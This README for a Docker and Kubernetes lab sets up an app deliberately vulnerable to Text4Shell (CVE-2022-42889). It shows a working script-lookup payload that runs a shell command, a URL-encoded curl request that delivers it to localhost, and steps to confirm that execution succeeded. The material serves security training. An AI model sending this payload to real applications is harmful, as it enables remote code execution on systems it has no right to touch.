Text4Shell CVE-2022-42889

Docker Lab for CVE-2022-42889

You can either build the Docker image locally or pull the image from Docker Hub and run the container.

Clone the repo

git clone https://github.com/devenes/text4shell-cve-2022-42889.git

Build the Docker image locally

docker build --tag=text4shell .

Run the Docker container

docker run -d --rm -p 8080:8080 text4shell

Or pull the image from Docker Hub and run the container

docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0

Test the app by passing a string to the search parameter:

curl http://localhost/text4shell/attack?search=<anything>

• Attack can be performed by passing a string ${prefix:name} where the prefix is the aforementioned lookup:

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

Attack using curl:

curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"

• You can also try using dns or url prefixes

Get the container id

docker container ls

Get into the container

docker exec -it <container_id> bash

Check if the RCE attack was successful

• You should see a file named foo created in the /tmp directory:

ls /tmp/

You can stop the container by running the following command

docker container stop <container_id>

Kubernetes Lab for CVE-2022-42889

Change the directory to kubernetes and follow the instructions in the README.md file.

cd kubernetes

Create kind cluster

kind create cluster --config kind-config.yaml

Deploy the vulnerable app to the cluster

kubectl apply -f deployment.yaml

Create a service to expose the app

kubectl apply -f service.yaml

Attack the vulnerable app using curl

curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"

Get the pod name using kubectl get pods

kubectl get pods

Get into the pod using kubectl exec

kubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash

Check if the attack was successful

ls /tmp/ | grep foo

You can find the detailed tutorial on my Udemy course here

References:

• https://github.com/karthikuj/cve-2022-42889-text4shell-docker
• https://www.docker.com/blog/security-advisory-cve-2022-42889-text4shell/
• https://unifiedguru.com/security-advisory-cve-2022-42889-text4shell-docker/
• https://medium.com/mii-cybersec/cve-2022-42889-text4shell-vulnerability-17b703a48dcd